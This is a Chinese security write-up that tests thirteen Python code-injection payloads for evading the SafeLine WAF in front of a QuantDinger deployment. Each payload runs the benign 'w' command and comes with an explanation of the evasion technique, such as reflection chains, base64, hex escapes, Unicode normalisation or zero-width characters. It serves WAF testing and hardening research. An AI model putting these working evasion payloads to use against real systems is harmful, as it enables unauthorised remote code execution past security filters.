0x01 前言

书接上文,笔者曾通过一些方法绕过正则表达式与抽象语法树(AST)的拦截组合,之后项目作者也是非常迅速地在main版本做出了修改,这里笔者就不在找原项目作者的茬继续深究了。但是笔者根据当时的绕过手法苦思冥想:这些绕过的思路是否能直接对抗主流 WAF?秉持着实战检验真理的态度,便有了这篇文章。

0x02 准备

  • WAF:雷池 (SafeLine) WAF 个人版 Version 9.3.3(最新)
  • 靶机:QuantDinger V2.2.2 Docker 版本
  • 测试指令:为了降低命令本身的攻击特征(如 cat /etc/passwd)对WAF的影响,统一使用 Linux 最简单的 w 命令进行测试。

0x03 绕过实战与原理分析

早期尝试:

Payload 1

先尝试最简单的os.system,不出意外被雷池拦截,经过测试是检测到了system(,所以被拦截。

{"code": "import os; os.system(\"w\"); output = {\"plots\": [], \"signals\": []}"}

Payload 2

利用字符串拼接的方法绕过关键字system(的检测,此payload在普通部署的平衡防护下不会被拦截,但是会被雷池检测到eval并且在后台记录为XSS,开启了高强度防护下还是会被拦截了。

{"code": "e=eval; p='__im'+'port__'; o='o'+'s'; s='sys'+'tem'; e(p+'(\"'+o+'\").'+s+'(\"w\")'); output = {\"plots\": [], \"signals\": []}"}

Payload 3

这个payload是和payload2一样的拦截情况,经过测试应该是智能语义检测到两个[][]之间存在eval,所以被拦截。

{"code": "g=getattr; gn='__glob'+'als__'; bn='__buil'+'tins__'; e=g(lambda:0,gn)[bn]['ev'+'al']; e('__im'+'port__(\"os\").system(\"w\")'); output = {\"plots\": [], \"signals\": []}"}

成功案例:

从 Payload 4 之后,通过多种维度打断了雷池的检测逻辑,让雷池连后台记录都没有。过程如下:

Payload 4:动态属性溯源

{"code": "g=getattr; gb='__glob'+'als__'; bi='__buil'+'tins__'; im='__im'+'port__'; b=g(lambda:0,gb)[bi]; i=b[im] if isinstance(b,dict) else g(b,im); i('o'+'s').system('w'); output={'plots':[],'signals':[]}"}
  • 解析:
  • 机制:在 Python 中,每个函数对象(包括 lambda)都持有一个 __globals__ 属性,指向其定义时的全局命名空间。
  • 绕过核心:WAF 通常通过正则匹配 import os 或 __builtins__ 等高危字眼。此 Payload 利用 lambda:0 作为锚点,通过对象自省链条 __globals__ -> __builtins__ 隐式获取 __import__ 函数。

Payload 5:环境对象依赖

{"code": "g=getattr; bk='__buil'+'tins__'; b=g(pd,bk); ik='__im'+'port__'; i=b[ik] if isinstance(b,dict) else g(b,ik); sk='sys'+'tem'; ok='o'+'s'; g(i(ok),sk)('w'); output={'plots':[],'signals':[]}"}
  • 解析:
  • 机制:利用目标环境中已加载的合法第三方库(如 pd 代表 pandas)作为切入点。
  • 绕过核心:很多 WAF 会针对业务常用库(Pandas, NumPy, Flask 等)设置白名单或降低审计权重。此 Payload 通过 getattr(pd, '__builtins__') 隐式获取内建函数空间,避开了直接调用 __builtins__ 的敏感指纹。

Payload 6:标准编码混淆

{"code": "import base64; exec(base64.b64decode('aW1wb3J0IG9zO29zLnN5c3RlbSgndycp').decode()); output = {"plots": [], "signals": []}"}
  • 解析:
  • 机制:通过 base64.b64decode 将攻击载荷以字节流形式传入。
  • 绕过核心:这是最经典的绕过方式,将 import os;os.system('w') 编码为 aW1wb3J0IG9z...。(奇怪的是雷池这都不拦截!)

Payload 7:字符级动态构造

{"code": "import os;getattr(os, ''.join([chr(115),chr(121),chr(115),chr(116),chr(101),chr(109)]))(chr(119));output={'plots':[],'signals':[]}"}
  • 解析:
  • 机制:利用内置函数 chr() 将整型数值转换为对应的 ASCII 字符,再通过 join() 方法重组。
  • 绕过核心:WAF 的核心规则库通常包含敏感函数名词(如 system, popen)的字符串指纹。

Payload 8:十六进制转义与字典访问

{"code": "i=__import__('\\x6f\\x73');vars(i)['\\x73\\x79\\x73\\x74\\x65\\x6d']('\\x77');output={'plots':[],'signals':[]}"}
  • 解析:
  • 机制:利用 \x 十六进制转义字符构造模块名,并利用 vars() 获取对象的 __dict__。
  • 绕过核心:vars(i)['system'] 这种写法将“属性访问”转化为了“字典索引”。WAF 通常会匹配 os.system 这种点号(.)连接的特征,而这种索引写法完全破坏了正则的连续性。

Payload 9:进阶反射调用

{"code": "import importlib as i;m=i.import_module('\\x6f\\x73');m.__getattribute__('\\x73\\x79\\x73\\x74\\x65\\x6d')('\\x77');output={'plots':[],'signals':[]}"}
  • 解析:
  • 机制:使用 importlib 代替传统的 import 关键字,并使用 __getattribute__ 获取方法引用。
  • 绕过核心:__getattribute__ 是 Python 对象模型中最底层的属性访问方法。与 getattr 不同,它更少出现在常规 Payload 中,且配合十六进制编码,指纹特征极低。

Payload 10:Unicode 等价性 (NFKC)

{"code": "𝒆𝒙𝒆𝒄("import os;os.𝒔𝒚𝒔𝒕𝒆𝒎('w')"); output={'plots':[],'signals':[]}"}
  • 解析:
  • 机制:Python 3 的解释器在解析源代码标识符时,会根据 PEP 3131 规范对非 ASCII 字符进行 NFKC(兼容性组合)正规化。
  • 绕过核心:此Payload 利用斜体字符,如 𝒆𝒙𝒆𝒄, 𝒔𝒚𝒔𝒕𝒆𝒎(本质上是一种特殊的unicode编码)。这些字符在视觉和字节编码上与标准 ASCII 完全不同,能够轻易绕过基于 [a-z] 的正则过滤。
  • 参考:https://xz.aliyun.com/news/91607

Payload 11:零宽字符干扰

{"code": "import builtins; import os; c = 'o\\u200bs.s\\u200by\\u200bs\\u200btem("w")'.replace('\\u200b', ''); getattr(builtins, 'ev'+'al')(c); output = {'plots': [], 'signals': []}"}
  • 解析:
  • 机制:在关键函数名中间插入零宽空格(\u200b)。
  • 绕过核心:正则引擎是基于连续字符序列进行匹配的。插入 \u200b 后,字符串 os.system 在正则看来变成了 os.[Invisible]system,导致指纹匹配失败。
  • 参考:https://mp.weixin.qq.com/s/zLrFyHMHPNPANNmreqHebQ

Payload 12:F-string 逻辑拆分

{"code": "c=f\"{'s'}{'y'}{'s'}{'t'}{'e'}{'m'}\"; getattr(__import__('os'), c)('w'); output = {'plots': [], 'signals': []}"}
  • 解析:
  • 机制:利用 Python 3.6+ 的 F-string 特性,在大括号 {} 中执行代码并返回字符串。
  • 绕过核心:f"{'s'}{'y'}{'s'}{'t'}{'e'}{'m'}" 在静态检测时只是六个独立的字符。只有在 Python 解释器运行该行代码时,它们才会在内存中合并为 system。

Payload 13:Latin-1 字节流逃逸

{"code": "b=__builtins__; k=bytes([101, 120, 101, 99]).decode('latin-1'); b[k](bytes([105,109,112,111,114,116,32,111,115,59,111,115,46,115,121,115,116,101,109,40,39,119,39,41]).decode('latin-1')); output = {'plots': [], 'signals': []}"}
  • 解析:
  • 机制:Latin-1(ISO-8859-1)编码对 0-255 的字节具有 1:1 的映射特性。配合 bytes 列表,可以将整个攻击逻辑下压至二进制数据层。
  • 绕过核心:通过 __builtins__(在沙箱环境中常被表现为字典)直接索引函数引用,避开了 . 属性访问符。

0x04 其他WAF厂商对比

以下是付费WAF厂商的测试结果,但笔者不做评论。

0x05 总结

  1. 以上的payload组合笔者基本没有使用组合拳,如果使用了组合拳效果会不会更好呢,这个问题留给各位读者。
  2. 说实话应用场景比较有限,仅限于Python后端开发。
  3. 通过与雷池的实战对抗可以发现,传统的正则匹配和基础语义分析在面对Unicode 正规化、字节流转换以及动态反射构造等仍存在显著盲区。
  4. 对于WAF研发而言,需要深入理解语言解释器的底层处理特性。

0x06 参考链接

https://exotictext.com/zh-cn/italic/

https://xz.aliyun.com/news/91607

https://docs.python.org/3/howto/unicode.html

https://mp.weixin.qq.com/s/zLrFyHMHPNPANNmreqHebQ

0x07 免责声明

本篇文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与作者无关,请谨记守法。

​

​

​

​